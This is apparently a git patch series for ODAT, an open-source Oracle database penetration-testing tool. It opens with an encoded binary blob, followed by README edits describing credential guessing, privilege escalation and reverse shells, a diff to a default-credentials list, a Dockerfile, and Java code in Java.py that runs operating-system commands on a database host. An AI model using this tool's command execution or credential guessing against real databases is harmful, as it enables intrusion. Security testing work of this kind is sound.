z8^@oo>*^Mf!sA7ESJ3dr6KT&`J_8_elGE#I7*a-v(gHu)DZ-y?eTK%fOo$!kTT-Y* zJ)7jann=RCEva-$}| zh%PqTI%Cze)8>Ex4wYLwP@to`?Q9-%99p`^ zZag|r*tY+$+-Ek4!P2XH@5|!jJge^a=n@=L16q{MaqchVLq)Asnqx5jFI%$WB*I_cAb<*P9C-B!uw~W(n%b|lR^D<@EgvZT>zOan3CT@XU>(^i`bts zfpD3H^OwmNx@zk24BLmzgx}w-Vle~F49iYgq>595PQjTlP`Y=7tw0by0zPCX??u{n zL}|M{ZUZioA#U625Ex?7G5nl(LeaYHlx>H}i?(}Dgp-^==BhdkVIWYMFhdkm&6fcM z#;{~3S|`w^Wv56*00u(C8P$jOBeLy|lZ9>kq-yf)SQ#pzplnwf#}#b)ZnNakeFQyC zY(FY;x0h@g2W8`${R-)$DE9z5S7@mKyXk`4KhfGmRN8nnKcrBS83ftWSUBg;+#rKo zPb$YeqMl>2d9N%UWw^M03TVo9da#>zFw=KLy)Z6-SSAwl*$W-6;oh_79Hq%7d*}7EXB|mNkxi3vS$xnmoW47DogS#pa99 zSDHn#*Q+d5nW&(qf%Z^==A8lPT`LhGQlNK=dVxBAlc71c*7FjuKkGw^o7=H zfj~=NJ3WhQAxocf6tVGYP=8A}(C!VewSd9A23kIoqgrzp*G(9JKOx+E}_7i&Xf$W zu~?yLt*b4P{T;@!z>k@3Pj{b|Jjp=na_AZ!su1uklT<|FfGOuSgF(T76ml#wBr42L zZbe!i^{n2!sCECbbn%Ng@wo0vcH)3uSgD3$w0*po^3PXWy;U`GvMyGeop`>D9C*Xw z^&Wf^0eMc@HVRE0f}KG}w>38dKHCd70|rEk_1|A&-|H+{LoO2)dBH=J6H<0(dq1wo zrefa+#$G44Tn}og=f02ln)7z+MbM;&h=wMiCM}P&(Xik~cerl%yopiOI#~*nQ$rS+Jt;uXv?NHyTa#ozF_)%H{PN;=J{xeSi=~Cb{tv)~q(y5{ z^(W~oy^aNjIGY}?*sKhs#x6s``}#N@)-3upJ5QVz+ZdB_9R9YJ=RZe?mt$br0&Hcn zJSR5rGB}hzCM@|rS%ao?W^zu4w~S8nnB|>KqkS!ADj|~gRzA9j&O@%7!|>~#kavk$ zn3eo96GMUx%<{pLP;xw%)Cmo>qp_O&9?K9tU7epSWlBfe_04^*{Fz(^%G3C$iQsb= zW2?+Fo}ogwav&OK8%u=R-$FoCPhGyfGYFJPD|KGdQ^HAcU~Y< zp>!l)q^5Y-@Q20NDO-}%HzNnr;#rQ<^iuU28twN7t$FRJs`C>IW7u<3QL2mt z_!McK)WsFiNuLX>+|Pf7jU?2~#Tbsf&)4v^C7s{IZ^SdbS#@cqnwMn^=ni|?Lci;Z zITU%IQ3KOXv2SdNY8_;lz3V|MrLlYmaWG&r?2LKuRh?_2s+QKv7W0&iJ%%=K&ynpO z4E?ZL^l)0Dn%7dK5jFSy*u+k9LYP=8^&k@mYODdf;X#*+r|OAG%C?H^R=lq;B#gBb zG+qCIlgu`(0{<|dy>?XK1Z* zsGAPQoMg{QvZ_VqJc1a{{;v7DqR^ow2V&17u82o`?!}?wbm7XN;W0MKIfNYzk|BC( zp5Fg8ase0M*Hosu6Gd(Ov!=duOrxRvz;t(U&Z~d-TLVTfzyG$Wu(WHuy@@bKqgI_=zva)C=+RbYi8*l zSZm^Jz)vrVlZeTCafuEkxZjv&&gmbmG@B7^9d=9**HP{QtkLzTBEf@=mmulUHpSV< zz39awgOFL4K83<(E+yJ*EW*L_moT>qW06K>vBR596KfyQQ_4Pgo$q!B4akyOv5s`x$73QB*-g`Ao^noBV1zeR^$zHu?u#-&a8# z&zkfrSyy<{N1i2a1cYlaRA&+M$2!eizNx{SFjqwmX4b|7hxbLJ&-}~aQQoI^wZ!97 z+fI=AXwvv=K~N0!DO{+uwRL0E>pa?JAk)j+)mS}!aF!yGaSz2v@KF&6C<(Eh|CoK! zyMDIm*fcbN>0@^FEypL2W~O&xsuq%N=qkcTWcJ+}Y?gUwDWq6jYTne0?# z`-bgG0N?6pay=c};r&1mSRV8(G20$ih`TFTUbO)&WWF;R1Q{Bj@IFC2AWnOBdJv4R z!B@1atoBI?HZnx|T028t65RjoDSU3LE^_W@N4IW2yq=lC$FWV7qMt57obv~u6Z%!( zJgg;{zE_n(k@rNu1$|T|3jBnPl^@UmZRJkMlG#PlYctmR=JYI zRJ~8x9z}|)<bzQqqaKG|c%hLebE7 zS#p%$BuFgRu|Zh6q)Xx1sA;c9%-A43Aun@)T>C}A^?5u2vhL&(wuW~#PF8*JaSnBg z*gs}Hkg@ye(a-s`&tUjx6l3rG^A66XhfLg=Z@khx7Ju|e`~Vr zf=39wEN&hPIr=K(R}LfAW_!+xrp4Y9cS&RLFs_C3YaQNs>Cy51=SmyAQ5yg)JSlb* zs*RPjX+ia=x^398or+z{%j<*>OF|NG_BdlQ<(9=O+WOP*gO$E~#oi7od9IoW5_jv^ zjh9P;v0%^Nb#?Q!Facv~LfTxQR1!r33=zPjaEHGB51~p>G7h-BFFHb-$2R3i$=4Ozl}b z635daV|EkH$b9<3$Tf|u(7IKH=Yl~>Cs*tN^^c8>75hsJ7mVM$(Bl3w%IKbcGimoL zrs$E9$0c5gU%z{(ns|*}zYRSli9{B&rYz$bHLU43>9fzmx2zNLAr8*(QJT~D5 zf!|EkWmVX*cbz18PslXf0qf8m*x)M06L5TBTAt46fw5fu_9)tY`_-2)fTn`SC&O2T z;iaRqcZ$&xhnMTtmV-~ta z`iD>Fw4*SSF4dXu-mUpe!%fyrns1Sd6q_V(>}93=HJHBe47+UE^w^(#@Kb5S7lG3iR#O!c=$O75aoje;*Ued>v%wO`bN%ey@( zY`+oPoUI}nwTxesKE8vNh3)23I4Lq;4sS_*YOj){%BFg-BKo}P7qF|P)o*2mU@lr8r6|M-7T_Qg@=eS1X*E0cVj=eX8?MU5I#a>&dhUjWce-nA z#cd>2UVh)kGQWjZE+c0s>U)aSe?vWImPM0ch zr*J#f8#;OLm&7~u*1x5jRqnApO?_oqj9n@A2dJ{Nvbnl&n`7iZq~pnFdQo(WT0C>d z4zm_xsp6_VmC*NI76tMmqW5|JivLHHnZD}d5)Y=7$Zj}AEt@*r^6wLLY9F|uORW)E ze_j}Sr+3?EMKNwK=EglL#D$o?&@k;J?jyK#9( zJfiv|8)zPuifxf>R{I-EECJStA^gfKeCUU5ij~-AmGH0X%jA`mG}31k0jozs|1>1! zk9-cEMH9}y4Joz#f_QQrtkgmvA2To&9H}$*zvS9q|Bu{KJbc^u4q2Mx+n2 z86@$i`mn-{@DtWK?e$}_L%g{DvMr?{{2L*0pU(FJI3MI|GTo#@Ar+lEQiyPm0%Y8h zUn+8OlL=PkZE_Ud`l(`cpp-OOHq#v3)Asz`YWk7~-NP@*A{496#Lv)LLFcNb1MQ2GhS(23_UXa0(jhw|XBfX!(df*Aj=xrZsE{$jB~CcmYS zVrLvgphIQrCEvYzxFp*FfkTaJ)Hg5 z4%JWAQlK`W3*L6?G;eXS2_PbYn=P(FkB5D<3RLqsf|ERmsaE3i#{B>Fd0SJ>zuLB$ zU+sVKDg3ZMK;=eK>yoe9BhIgh?eFg0e|%ve(o0s(^5e(f_Wl6+e*E-KUMpYU4c?r) zy?49p&%^VDHZ6q4=M74_QPY?Tf3IpJVW4y6Y#$d+`Aq%IuISnoT-Cf!YiKnD#EtN) z4P1-tZfO`U4zVLLlXWGJ0Y}M{%+_$kDN=w{RGOLCq*eOmhAf`@Tfo(Z>b-w=zi|C| zZS_^Uh-p7JQLx7Jw)+o2`RDkpHR#E^=k@=DCeKz!p|uN?1JaIT3>J86wV#z?GVW>X(*a%E!^Kt0{<`2+BH z?N25mZKvqL#RPg}G`x23hAx^bVUekP25BU+Pxla`;l3YjD!pukt1tva=YA$CkPt~b9XJ729wbx$n z^B6RhOam3GQe{O8@BnZIwL!b>F#7HbYZ#`LaqO6cHgnrP9eJd2G1Vq)ESP#8dU2lc zA#?Nv>g5HyBwvaAh-vFL#IFa6)-<$w>Q7#B5PB;6Uey3x_v@gLtr2$I-1{cr78 zWrp)Ho5ZcVvnQ(+KlE(WMV1nkcslrO0EW&`O{B+S&DOuXpg7i>y^+KPWGUo-D4lIg6EptgAukIXWkW{^`DpfDQo}tiAlyf*Lr&PV!8_chY_iKi7AIx z!am=QmqhgEEhGQ6jZvGJ@grSS?!HK%6~x4!*U|TRyFw$CzOXZ${tp>|;pl59(Z&w) zvdm9}PJRL{qK^*wtLISlmHX@EA?S$XvwFm>a6m2>-=1Pg z#2M{m{jRx_zK9177wabQk_$NWJlxGc%CpRM2#&zx&|9YjB~FsK=(P2F?0v=QbNUgz z21Pfz&=JN#f-uNCgd4bol@2&jr2+sJU6!WNmg&~<qpy^6Z5IMdC)Lg z%E=z#pd|*|L&CzG&vr~5BnRgNrkt1G#aep97YhJdZ{Y>Kj=djO?=3~wDYMf9HFgQF zKOZRE@p$VjBw|wk&YcW1u_sq0LVt=X)We2jU|icZSn1qqBmH=n5RpV zjL=`bgmJc7{Qw$PX zW;Xu;>}i5RB2{;-{b7ghK)e0FUw?NWa5j>kqh(We5RP#Q`hMtemN7ajDzXFr+;#rc z!BzT$2QNd;E@DegxRN(*_>vw0C^dPgnyST%9L#rDWf2fU$Xvq_F7G|Kw0ZJ--0>Wp z16=6qy-G|Br|Oh=?HeAEWr*il=eC)ls3OC6q>d6&9C~MYWSlKQ-wZc^{gBfmCX1sh z!Ur7)cY&*;ca4Pk1a+#t5Sjr%F7?9x( zk|L|y2}7Lm@UWsQYwq^!@>8DFx6*4%WhKmWahAa?7u0$s!XTrRzm%pN6{(AJ=_PaQeQ|LbOsU%9@a{d`>c^bElmmq?bjFb#4E>i$ z>k7A;vtozJuj`|^v>iqvsRBb0!$ppZG7L!mLW9vt*vn9ctn%`B)@A18IJRw2ynyhH zA`A?Foi3f*IhD8su*Fl>_eU^fwaS#>Tq5_K58df>o3T{?Nj#z#BB;ozkMk#a{y0CU za24A01t}`z$D${{TR=m1Ok1z*^j)tzsAr+tj}4$l9DH5*R!Q90(NCW>Bd>TZZn8J} z4DFp^n+T~*?snw=XW2uJEM$p*7odE%SlJ2i`CMV?0mcH|9_iKYz^{`$l7#)GhHbh83|SR5rGXJ# z$gDK9Zh28@fdh^A8|GW5oKgttROktcOqu-z>jg$rKmLpYHBd^Db4ym?m4e->ZiNv4 zkULBvxQs9sV{W1{)Xqs%ZO*>3X;faOkB^AO%4*FyM#d~s!98?H(aD=)b$n0tmcEN+#%)WWYpa+UbujwQ=OJ43y~%_ICFN-I3hEk%nE(f+h2E86KpT;Wkj<#ZThnb4`?tM& zzi1CjDsEZ3=KyYl#4;0n;V43rE*OvP|T>J@pUDukfdfcYQ6L)x8KoIYN_{oUj)47K~K@ zqy}Ck71anC1$J0`(DkVr{u?z=q-^ALDag8=H_i(v(*Iw0wm=3HTe4$lVuI_XkA;Z8R+dcJ*&N z9XStP3|F@8BALCl?B;9ynFe&?gnLnaVtaZHES=S14)hw>U7Q~<@6ta-$-ab(h=wla z>l}<~W@ETbCzQ6h+oY6ApRpoK_b+jFJC?eLnXF&Q5T*Q@C>-r9U40I_iZ|N{fFs6QZs_duzH0+Ok7>* zqs5T9CUpS1L7D5*q}olTH!5M^_i-Ax@50nD9oxF&EVa^n2xv>M786gPhfS{6Os3IN z0=ye$H=ErWNsr;yr4INQOryJrmDCCI6CUY~^zL&++9T2b2N(kLF$8P$g#Mq|IN}vJ zUkhDqh8!k~jLvxcnqtvn!i8(U6dsSd5IE64ZdpAJk8lk>ffBETD|ZzSbC;_kb-@go zGb_Kh2GGWco7Vv363%Yf*6@MqvrhAW3r)t*F76>d>0Z9&-y=ZMd=d4>%ov!v7x+2s zokC;&zJ#D((cnE%sit?vB1dO%4X*dWw35c0u|a?I$tgRQ;8ny#9BqiQ_E5#`VN?$4-;X z8@*?Zg&1%IXB#e^8k5KS;`R{IghB51*}u_osOfxk3a<;#a$@m?sC{!sFKrtRPtVoY z7b4%sgmi+$&N9jPT1nG_i}GJcoXw0VcAmJ zo!n}Cgp1TYqPBThvacHg|AiD ze(Omk((-S;oO4;+LUyAFKQ3e|QzcgbSf&AVi~fW|^ENB%?KoS32yG7$180QWPVBE(T) z3LX;|Rtk5>p6wqF2WzO}-TK8iBWcF@lr3&hmsG!33*sYRM`+r{KEAiR*$`&NUywok zzFn9nIa^-QEOdxZ*2frIH|!^|UrD3?LaoQvQcyxw@HiSuNJ_?nVx+e!02fxKf)`EL z>5}2aa2rfw_(_A-O!PBggV45XdxuY&-2EhBh7|{djY=v0GGcSqwKul%VX8pVA#)%? zrtC>Psw)I6Ft5Dx5RTXNY(G3# z1o}nkBopnv-6yOBmp^J6Y`Zw(2#;wp-={xcIzDTUm>hUMeVmzuoTaRtzY{;2*k zlqg+6&Ulr`z>6w`O8szqHcSn0_?BG=GlLM_bK$l!DmxS?ea$)URh?Y`OZFZ-3A z!VQhgTuS4=nG`G-7fV%h^@d`o{sI2{1K>>BnFTHFnm%K^*)yu+Rmg-IF0fjP1r%TJ zYHx%lT1S~-?fm7?L`<;Ba4lMDRi9n^o6+Ozye!=W%v9hy?oR>dSRQ7boWfk(nA;Un zsh^YD1pn6blar&$3&Tl1)?1r_hqm|KkVD`)u2vZx-G)gHvMUm04wlq{$I%#YE)r~( zr|zHxha7aFSHHNKC*nqr^p*vPc+Ol*u70kqC|uK%=~@q^mQ5^#8We96-M8>J8XTzR zQVJie5V)$9D1b1GcTSjEXb)8LWL^IOe*JWL<}xW3RC6VCp@ySRNPNE~c9UyL$3cX< z*q;<1NH?lu=;$_^DNIu3}pLUWcP-hWf<{HGD)m?z>=*;GYU#&A`l zSVBQ8WtUu7DoR<$E7VJ>1Aw6eaF_PGnOUFkqtm8I0Xo>fkeTPQ31Z1ozQ1wtVyYLu z(wnb~l!zQ*PHe9%EWWLCqC0l5XEQ;!)!c=9D9MDkd7=3xh<9LL->|m@TW`LdqiZ-s z#ABB&rX%5lQg5&D!g0{M9@2VykE3A~cD~Qk>_ns(N1@DpcM?%~pFZ?t?)?KSY-&?x z*dB&~D$QH32uzoNyU%kKmv8&z7LM!T(sNVlN9@qO-Z><6^ApC%UY|f1F-cmoYQ2uK zEP>C=(izrjW{5gdg1y zKdwr>w<-IBSGsl^nJi-lIdRv!YV6979g%@$9Kt+EIpXwO4*oq8npdQXXp2@Y6B))sqQv%f30m|ISWYN< z8cZf)Xaeoj;kd!EuEZcN=5@g%2{od&^qz*>IBMvqPf!NwfR@OOQ>-iDK_mhwp z5GW<6Nan}*?DOVL0)y?d!%ALn7^^*O7M_SL-Te0ylpllx83BWDvRl5Y1^ii23#{K z?=m4o7A6BCPnV`^G%Qy4P@Sih8Q3XuTX&S89Ugi1NVR4`cYK|QaVuiduUBc+~6 z$d_Yx8bwyqS)82ZTJtvbugHpIJB*|}-OwehR>2uL-j?X2^FkW~uwC@pH(dObE9-$! zoR4I{614k5LR2HETS)KpH1<2Iql_Mg6}R{K26nb~hMW*QNzblHAAwW7aQl+2wizCH zc7%opaW@~rx2C2dN_1$sYQ8i#PeQi8&T4HiXJberuIwdUG=X>dM3V|=qWd!ZSDJgA zbS)oFU2`^QfQFkG237x{8ra)Xr=o&}txSK)46*4cTLd!V4R#U+$=uR(@zIDSHgQv6 zxi#GAVn?YVUAeozg&0HWdXSU#HkfbY(dxiy5l=Ix(HieeUhwmIibQ_sD|US$n#g`n zamL{CSzeE5M$3!s_ZiQl4>N@Sl2FT$pKQqQ45$Tmqy1m zP(a&d%#{VXzzVS;9%tfW@VUYJ+@l|&5mOl9^XG^F3%VHEN~&@{y_My>+gBrp@Q}+^ ze3wdj#6~xIrc}jq!r7BSugmKxf@DJ9E;%{I1CL28*JceFnJ6QlRjQx{{@8Fy86gE8 zX-6S6VQE5L=M1+X=azrzn0%+}P(W{WVjr*$V_8%`pw0}ZBLq)aZz%#r;iq<4S0f3j zF-QE451L7qujra{28b@){({U#4`g__v`8Z}hX%%_-kyV#j<==J<7VUAk_TM}Q!;+C zaBHy#w`&gcz8O=*8aYxwgQBaw;>7$V!Yt=@RJlo+eu2Zh7Bax4iCQ57V7A_;>^Y6B zs!ujLd&KnYBL3NMhJ{NJq|vP97$@dN=)o=~6vMD@6~f;~RQ(&AMX&p1B*=gPAt+QK z#y`XC`<<#g`sT`zG_fx!mXUu3nh~K)($$?z#Va9yvs3yNcM+V;Mljm*7N`pJ z1Na}>zaJY-4EjFYZ_ZSabNQ9q%%eLm<2pv$&=+5*V+}A9^xxNEq*+KxrA@P_BVG*)7_!WtIY3b zY|Jpr_rL4Of+uhlXW{p2i>5CBW^nJ<9KN3H)oSWTzHA?#<)}hCv64t+>MD_1=ftwrf!s)K!YU+n3>}O;L@9A-cs(Z(w12Zl-iuSL5`6_E2 ziCG6F#|=h1wg`wQ(KPh`xls_3f8Q-W94Z?eLW?G40a4ATiU6XelcOXcaSIt7R?*q0=4(2ZoWgSs#d8Gu9K%8fe+NZQ6@K7K|S8*=e-5CjqgT zOFX^;ui+bQ%=csxqT=i`i`aB&xG+=&EBi6-t`rrpCpbxbEByAr=*%LXB*oyhXsVt1 z-iY!Y>cUp#KA|j`m3N_kRrDAa@mV=M(a2lU%X0X|pOPl*PWh{9=3USVc$(MjPrV-! zL^GZT@NPJ*d(u2q5VLOOL3qo|D?uzWZP>J_OVFS-HdNE9=X>@DUbAoHk*}y zQu3dt+Qh>w(~`eoAP8=>47aM~%Xi$Jf)!3dc7uR?yizzLk!fK*XY83$sd8+OJ zZRV$oaU)vzB^j_}ji}p>g<^Dr5sR%OCo)4}HW(5OES9gyBT=V6Z$thoT@SK0#izIN z5Rbz`!v^$S8L`!|UIHwWoHL}4^26`j+vBKcgOCnIcsA)|ljD(Kn zd8u&pK*e$0iHKE^q_#E;86WS%AEFY~`&7c287#O-C1Ym3gZwu{EI3KdBg z2`+v~+ER6y+*ibMHPYI(R#>|ZsSq2g)Nt;fM%H5&^x|IU)wUci(dE~+T5-D zKc0(JnJt(bf^{vX54a`#o@P%BgVg z<@_?KD}4HOrw9RbL{cHi6DZaEd*C}4Wb5Z<828bSVre_7iwZ)kWI=k=+%_}GFWLYP zhJkzrBSC`HKlPti&sSXSL6z`&CU_2Etn3huqDM9^B1?^H1@U;*w=)*&xt{qaD=hG# zNoLrSX1}Z@>-TUF8uh5Ueq};@>HKi4NUT;}-_#W5Sqd{iUA)SLY78<)uuRZgGso4s z4qXt6v#g=4-eaN?3LIoNo!@4{U)%*DX6@JMSFGZWe^aR>l?+*G$W!7U>o`4$;#IKg zR~jadMb^Q^m_Ndl!&FFlyD>}9B8m_Hq;gjiltm_g+xHD!RssYj(6i{hmsvP`j|bXE zMwi*uyAT0Sgbycv_f5J<5}5l86;d&{Q&AaCiuu}Tj^0KqqU$r0$1YT?S0>N=IS{RK zp^|z4mD#jHnr zL!9R)VoOs=;`G&W;(3**hhs}o1&+6g?S~&;&MLubnQ>dKw2NN@N$lljGUiNh>Yip@ z{DND2V11RVd>e8EF$_&NvyBN6C&lCZP!Q=v5*k(wMAa&IC<})L^cOtW=~hyO$n6XN^o4aDe>BOL z{}mxd=}`L*AVp-NFUDTg^jRG8apreZT^q9{*>o+-C#F%s@g}hplIa& Date: Thu, 26 Jun 2014 10:48:14 +0200 Subject: [PATCH 08/83] Add Usage examples --- README.md | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index b1ac7f5..be2ec72 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,12 @@ ODAT (*by Quentin HARDY*) ==== -__ODAT__ ( __O__ racle __D__ atabase __A__ ttacking __T__ ool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. +__ODAT__ ( __O__racle __D__atabase __A__ttacking __T__ool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. +Usage examples of ODAT: +* You have an Oracle database listening remotely and want to find valid _SIDs_ and _credentials_ in order to connect to the database +* You have a valid Oracle account on a database and want to _escalate your privileges_ (ex: SYSDBA) +* You have a valid Oracle account and want to _execute commands on the operating system_ hosting this DB (ex: reverse shell) Current version: 1.0 ==== From 18d418490f700c87b1083349b372d3e95970a30c Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Thu, 26 Jun 2014 10:50:24 +0200 Subject: [PATCH 09/83] Add Usage examples --- README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index be2ec72..9acf75c 100644 --- a/README.md +++ b/README.md @@ -1,12 +1,12 @@ ODAT (*by Quentin HARDY*) ==== -__ODAT__ ( __O__racle __D__atabase __A__ttacking __T__ool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. +__ODAT__ (Oracle Database Attacking Tool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. Usage examples of ODAT: -* You have an Oracle database listening remotely and want to find valid _SIDs_ and _credentials_ in order to connect to the database -* You have a valid Oracle account on a database and want to _escalate your privileges_ (ex: SYSDBA) -* You have a valid Oracle account and want to _execute commands on the operating system_ hosting this DB (ex: reverse shell) +* You have an Oracle database listening remotely and want to find valid __SIDs__ and __credentials__ in order to connect to the database +* You have a valid Oracle account on a database and want to __escalate your privileges__ (ex: SYSDBA) +* You have a valid Oracle account and want to __execute commands on the operating system__ hosting this DB (ex: reverse shell) Current version: 1.0 ==== From d43a45f46cfe8134e3d39abe204abf96ad54f06f Mon Sep 17 00:00:00 2001 From: bobsecurity Date: Thu, 26 Jun 2014 11:20:16 +0200 Subject: [PATCH 10/83] updates --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 9acf75c..2b0c780 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -ODAT (*by Quentin HARDY*) +ODAT ==== __ODAT__ (Oracle Database Attacking Tool) is an open source __penetration testing__ tool that test the security of __Oracle Databases remotely__. From ac24be5276bcead53ce58148141b0908d3e34680 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Sat, 28 Jun 2014 21:11:45 +0200 Subject: [PATCH 11/83] Update --- accounts_multiple.txt | 1 - 1 file changed, 1 deletion(-) diff --git a/accounts_multiple.txt b/accounts_multiple.txt index f143b69..1b1061e 100644 --- a/accounts_multiple.txt +++ b/accounts_multiple.txt @@ -66,7 +66,6 @@ BRUKERNAVN/PASSWORD BSC/BSC BUG_REPORTS/BUG_REPORTS CALVIN/HOBBES -CARREFOUR/CARREFOUR CATALOG/CATALOG CCT/CCT CDEMO82/CDEMO82 From 6b2bf46da14bfe73affb870641e92a6810f6f963 Mon Sep 17 00:00:00 2001 From: Puckel_ Date: Wed, 16 Jul 2014 12:15:52 +0200 Subject: [PATCH 12/83] Add .gitignore --- .gitignore | 10 ++++++++++ 1 file changed, 10 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..77ef21a --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +# Created by http://www.gitignore.io + +### vim ### +[._]*.s[a-w][a-z] +[._]s[a-w][a-z] +*.un~ +Session.vim +.netrwhist +*~ +*.rpm From c4c0b2826076070b0343890593a22d75b9c90df8 Mon Sep 17 00:00:00 2001 From: Puckel_ Date: Wed, 16 Jul 2014 12:29:32 +0200 Subject: [PATCH 13/83] Add Docker file --- Docker/Dockerfile | 30 ++++++++++++++++++++++++++++++ Docker/README.md | 16 ++++++++++++++++ 2 files changed, 46 insertions(+) create mode 100644 Docker/Dockerfile create mode 100644 Docker/README.md diff --git a/Docker/Dockerfile b/Docker/Dockerfile new file mode 100644 index 0000000..8b4cd96 --- /dev/null +++ b/Docker/Dockerfile @@ -0,0 +1,30 @@ +FROM debian:wheezy +# Reduce output from debconf +env DEBIAN_FRONTEND noninteractive + +# Install python-dev, alien and libaio1 package (for sqlplus) and some python libraries +RUN apt-get update && apt-get install -y --no-install-recommends apt-utils git wget libaio1 alien build-essential dpkg-dev python-dev python-pip python-scapy ca-certificates +WORKDIR /tmp +# Generate DEB files from RPM files to install instant client basic, sdk and sqlplus +ADD oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm +ADD oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm +ADD oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm /tmp/oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm +RUN alien --to-deb oracle-instantclient12.1-basic-12.1.0.1.0-1.x86_64.rpm oracle-instantclient12.1-sqlplus-12.1.0.1.0-1.x86_64.rpm oracle-instantclient12.1-devel-12.1.0.1.0-1.x86_64.rpm +RUN dpkg -i oracle-instantclient12.1-basic_12.1.0.1.0-2_amd64.deb oracle-instantclient12.1-sqlplus_12.1.0.1.0-2_amd64.deb oracle-instantclient12.1-devel_12.1.0.1.0-2_amd64.deb +RUN bash -c 'rm *.{deb,rpm}' +# Define Oracle env variables +RUN bash -c 'echo "export ORACLE_HOME=/usr/lib/oracle/12.1/client64" >> /etc/profile' +RUN bash -c 'echo "export LD_LIBRARY_PATH=\$LD_LIBRARY_PATH:\$ORACLE_HOME/lib" >> /etc/profile' +RUN bash -c 'echo "export PATH=\$ORACLE_HOME/bin:\$PATH" >> /etc/profile' +# Create the /etc/ld.so.conf.d/oracle.conf file and add the path to Oracle home +RUN bash -c 'echo "/usr/lib/oracle/12.1/client64/lib/" > /etc/ld.so.conf.d/oracle.conf' +RUN bash -c 'ldconfig' +# Install CX_Oracle +RUN bash -cl 'pip install cx_Oracle' +# Install some python libraries and pyinstaller +RUN pip install colorlog termcolor pycrypto argcomplete pyinstaller +RUN activate-global-python-argcomplete +# Change to /root et clone odat project +WORKDIR /root +RUN git clone https://github.com/quentinhardy/odat.git +WORKDIR odat diff --git a/Docker/README.md b/Docker/README.md new file mode 100644 index 0000000..8cbd018 --- /dev/null +++ b/Docker/README.md @@ -0,0 +1,16 @@ +You can use docker to rapidly deploy and use odat ! + +You can build it with the Dockerfile provided. + +* First, get RPMs of instant client basic, sdk (devel) and sqlplus from the Oracle web site +*(use the same directory for Dockerfile and .rpm)* + +http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html (user registration required) + +* Edit "Dockerfile" and adapt the version of downloaded RPMs (line 9 to 13) + +* Then : +```bash +docker build -t="odat" . +docker run --name myodat_container -i -t odat bash +``` From 3b2eca7639c18d1f161e16d71ac9f3caf9a8b21e Mon Sep 17 00:00:00 2001 From: puckel Date: Wed, 16 Jul 2014 12:32:39 +0200 Subject: [PATCH 14/83] Update README.md --- Docker/README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Docker/README.md b/Docker/README.md index 8cbd018..c180f46 100644 --- a/Docker/README.md +++ b/Docker/README.md @@ -5,9 +5,9 @@ You can build it with the Dockerfile provided. * First, get RPMs of instant client basic, sdk (devel) and sqlplus from the Oracle web site *(use the same directory for Dockerfile and .rpm)* -http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html (user registration required) +http://www.oracle.com/technetwork/topics/linuxx86-64soft-092277.html *(user registration required)* -* Edit "Dockerfile" and adapt the version of downloaded RPMs (line 9 to 13) +* Edit "Dockerfile" and adapt the version of downloaded RPMs *(line 9 to 13)* * Then : ```bash From a3a1a2788ca4e97cfc1fed2141ef279f933d5b33 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Sat, 19 Jul 2014 17:21:11 +0200 Subject: [PATCH 15/83] Bug fix "Error: getenv no longer supported, use properties and -D instead: SystemRoot" --- Java.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/Java.py b/Java.py index 483e0af..cc59bf8 100644 --- a/Java.py +++ b/Java.py @@ -26,7 +26,11 @@ def __init__(self,args): try { String[] finalCommand; if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) { - String systemRootvariable = System.getenv("SystemRoot"); + String systemRootvariable; + try {systemRootvariable = System.getenv("SystemRoot");} + catch (ClassCastException e) { + systemRootvariable = System.getProperty("SystemRoot"); + } finalCommand = new String[4]; finalCommand[0] = systemRootvariable+"\\\system32\\\cmd.exe"; finalCommand[1] = "/y"; @@ -67,7 +71,7 @@ def __init__(self,args): sb.append("stderr:"); sb.append(buff); sb.append("\\n"); - try {Thread.sleep(100); } catch(Exception e) {} + try {Thread.sleep(100);} catch(Exception e) {} } br_err.close(); } catch (IOException ioe) { From 15f037a9b08b494d575cd1877c5e0607d01fd8a5 Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Mon, 28 Jul 2014 21:06:38 +0200 Subject: [PATCH 16/83] Add the module DBMS_LOB to the odat menu --- odat.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/odat.py b/odat.py index 7348c93..416a485 100755 --- a/odat.py +++ b/odat.py @@ -35,6 +35,7 @@ from DbmsXslprocessor import DbmsXslprocessor,runDbmsXslprocessorModule from ExternalTable import ExternalTable,runExternalTableModule from UtlTcp import UtlTcp,runUtlTcpModule +from DbmsLob import DbmsLob,runDbmsLob from CVE_2012_3137 import CVE_2012_3137,runCVE20123137Module from Oradbg import Oradbg,runOradbgModule from UsernameLikePassword import UsernameLikePassword,runUsernameLikePassword @@ -140,7 +141,10 @@ def runAllModules(args): #Oradbg oradbg = Oradbg(args) oradbg.testAll() - oradbg.close() #Close the socket to the remote database + #DbmsLob + dbmsLob = DbmsLob(args) + dbmsLob.testAll() + dbmsLob.close() #Close the socket to the remote database #CVE_2012_3137 cve = CVE_2012_3137 (args) cve.testAll() @@ -290,6 +294,11 @@ def main(): PPoradbg._optionals.title = 